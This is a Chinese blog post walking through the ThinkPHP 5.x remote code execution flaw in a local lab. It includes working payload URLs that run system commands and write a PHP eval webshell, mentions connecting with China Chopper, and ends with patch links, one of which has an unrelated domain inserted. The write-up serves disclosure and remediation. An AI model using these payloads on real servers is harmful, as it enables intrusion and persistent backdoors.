ITPub博客

首页 > IT基础架构 > 服务器/存储 > ThinkPHP远程代码执行漏洞

ThinkPHP远程代码执行漏洞

原创 服务器/存储 作者:专注的阿熊 时间:2019-09-10 10:58:32 0 删除 编辑

ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架。

Thinkphp5.x版本中存在一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令

影响范围

Thinkphp 5.1.0 - 5.1.31

Thinkphp 5.0.5 - 5.0.23

漏洞利用

环境介绍:

thinkphp5.0.22+php5.4.45+ apache2.4.23

1.首先搭建好相应的环境,页面访问如下:


 

2.当看到框架为thinkphp5.x时,我们需要的就是验证是否存在远程代码执行漏洞

http:// localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir


 

3.确认此处存在远程代码执行后,写入shell

http:// localhost/public/index.php?s =index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php eval(@$_POST['a']); ?>


 

4.尝试用菜刀进行连接,连接成功


 

当然这里我们也可以选择直接上传大马


 

相比手工,我们也可以选择工具直接getshell都是可以的


 

修复建议

1、打补丁:

Thinkphp v5.0.x补丁地址:www.gendan5.com

https://github.com/top-think/framework/commit/b797d7235

2e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: 

https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126ab

c5901b2815

2、更新框架版本


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/69946337/viewspace-2656571/,如需转载,请注明出处,否则将追究法律责任。

下一篇: 一次XSS测试经历
请登录后发表评论 登录
全部评论

注册时间:2019-08-23

  • 博文量
    20
  • 访问量
    7998